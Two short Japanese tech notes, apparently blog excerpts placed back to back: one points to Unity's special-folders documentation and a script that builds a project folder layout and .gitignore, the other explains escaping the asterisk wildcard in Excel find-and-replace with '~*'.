http://docs.unity3d.com/ja/current/Manual/SpecialFolders.html

# 便利スクリプト
Asset以下で以下エントリで説明しているスクリプトを実行するとディレクトリを一気に作ってくれるので楽です。

-> [Unityで開発するときにフォルダ構成と.gitignoreを作る便利スクリプト](http://qiita.com/takish/items/1604b9dcb053d116b43b)
[Excel] アスタリスク「*」を文字として置換する

# アスタリスクを置換しようと思ったら全部置換されてしまう！

　Excelの置換なんて正規表現使わないっしょ、とタカをくくっていたら、ワイルドカード扱いされて、全文置換されてしまいました。どうすればいいの？！

# 「~*」で指定すると文字として置換できる

　アスタリスクの前に「~」をつけることで、ワイルドカード扱いから逃れることができます。